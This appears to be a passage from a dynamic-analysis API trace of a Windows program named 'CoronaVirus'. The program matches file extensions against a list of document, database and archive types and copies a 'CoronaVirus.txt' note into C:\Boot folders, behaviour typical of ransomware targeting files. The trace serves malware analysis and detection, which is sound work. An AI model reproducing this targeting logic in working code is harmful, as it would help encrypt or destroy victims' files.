	[0083.102] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.102] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.102] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.103] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.103] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.104] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.104] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.105] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.105] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.105] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.105] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.105] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.105] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2ef5e, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeae2ef5e, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.105] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.105] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.105] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.105] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.105] malloc (_Size=0x1000) returned 0x2f30588
	[0083.106] _swprintf (in: param_1=0x2f30588, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR\\CoronaVirus.txt") returned 29
	[0083.106] wcsstr (_Str="C:\\Boot\\el-GR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.106] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.106] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.106] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.106] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.106] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.107] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.107] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.108] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.108] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.109] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.109] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.109] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.109] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.109] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.109] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.109] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.109] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.109] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.109] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.109] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0083.109] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.109] wcsncmp (_String1="en", _String2="..", _MaxCount=0x2) returned 55
	[0083.109] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-GB") returned 13
	[0083.109] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.109] wcsstr (_Str="C:\\Boot\\en-GB", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.109] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\en-GB\\CoronaVirus.txt" (normalized: "c:\\boot\\en-gb\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.122] _alloca_probe () returned 0x4036d0
	[0083.122] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-GB", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\en-GB", lpFilePart=0x316583c*="en-GB") returned 0xd
	[0083.122] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeae7b43f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.123] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.123] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeae7b43f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.123] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.123] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.123] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.123] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.123] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.123] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.124] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.124] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
